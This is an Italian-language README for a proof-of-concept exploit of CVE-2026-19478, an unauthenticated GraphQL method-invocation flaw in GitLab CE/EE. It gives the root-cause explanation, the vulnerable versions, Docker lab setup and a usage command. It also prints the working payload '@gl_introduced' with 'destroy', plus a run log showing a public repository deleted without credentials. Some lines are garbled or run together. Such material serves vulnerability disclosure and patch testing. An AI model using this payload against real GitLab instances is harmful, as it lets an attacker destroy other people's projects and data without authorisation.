
Proof-of-concept exploit per CVE-2026-19478, un'iniezione GraphQL non autenticata in GitLab CE/EE che consente l'invocazione arbitraria di metodi e l'eliminazione di progetti.
★ CVE-2026-19478 GitLab GraphQL @gl_introduced PoC di invocazione arbitraria di metodi non autenticata ★
https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b
CVE-2026-19478 è una vulnerabilità di manipolazione/eliminazione dati non autenticata in GitLab CE/EE (CVSS 9.4). GitLab include una direttiva client GraphQL
@gl_introduced(version: "X.Y.Z")per la compatibilità forward dei rollout incrementali. Quando una query nomina un campo con una versione più recente del server in esecuzione, un tracer lo rimuove prima della validazione statica, così la query viene validata; poi, in fase di esecuzione, il campo sconosciuto viene risolto da un campo fallback senza resolver. In graphql-ruby, un campo senza resolver viene risolto chiamandoobject.public_send(field_name)— quindi il client può nominare un campo uguale a qualsiasi metodo a 0 argomenti sull'oggetto attualmente risolto, e il server lo invoca. Risolvere un progetto pubblico e richiedere un "campo futuro" chiamato esegue quindi — eliminando un progetto pubblico (o modificando dati utente) .
destroyProject#destroy| Categoria | Versione |
|---|---|
| Vulnerabili | GitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3 |
| Corrette | 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 o successive |
Resolvers::NilResolver (restituisce nil, non invoca mai un metodo)Crea ed esegui il GitLab vulnerabile. Auto-genera un repository pubblico victim/demo che puoi
eliminare senza autenticazione. GitLab impiega ~3–5 minuti per completare la riconfigurazione e il seeding.
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
| Prerequisito | Stato in questo laboratorio |
|---|---|
| GitLab 18.2 – 19.2.3 | 19.2.2 |
| Un progetto pubblico raggiungibile in modo anonimo | victim/demo (generato) |
| Endpoint GraphQL non autenticato raggiungibile | /api/graphql esposto |
L'exploit gitlab_exploit.py elimina qualsiasi repository pubblico a cui lo punti, senza
credenziali. Invia il payload @gl_introduced che trasforma il nome del campo GraphQL destroy
in una chiamata Project#destroy, poi conferma l'eliminazione tramite l'API REST (404).
# python3 gitlab_exploit.py <ip:porta del target> --repo <gruppo/nome>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
[*] target ......... http://172.17.0.2:3000
[*] PRIMA (REST) ... GET /api/v4/projects/victim/demo -> HTTP 200 (esiste)
[*] PAYLOAD (senza auth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] risposta ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] attesa del completamento dell'eliminazione asincrona ...
[+] DOPO (REST) .... GET /api/v4/projects/victim/demo -> HTTP 404
[!] SUCCESSO - la richiesta NON AUTENTICATA ha ELIMINATO 'victim/demo'. CVE-2026-19478 dimostrata.
Opzioni:
--detect — controllo sicuro e non distruttivo (invoca il metodo innocuo to_param invece di destroy)--repo gruppo/nome — target qualsiasi progetto pubblico sull'istanza--insecure — salta la verifica TLS per target https://@gl_introduced / il percorso di filtro versione su un reverse proxy, oppure limita l'accesso non autenticato a /api/graphql